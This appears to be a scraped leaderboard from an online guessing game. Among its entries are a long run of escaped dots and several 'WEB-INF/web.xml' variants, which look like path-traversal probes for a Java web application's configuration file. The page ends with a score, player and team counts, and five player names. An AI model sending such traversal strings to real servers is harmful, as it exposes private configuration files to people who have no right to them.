\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\ 🤷

WEB-INF/web.xml 🤷

WEB-INF/web.xml? 🤷

WEB-INF\web.xml 🤷

WEB-INF\web.xml? 🤷

woody 🤷

11/20 7@7

Players 283

Teams 5

👑 joel

👑 andwew coppowa

👑 wilk

👑 garzon

👑 nicky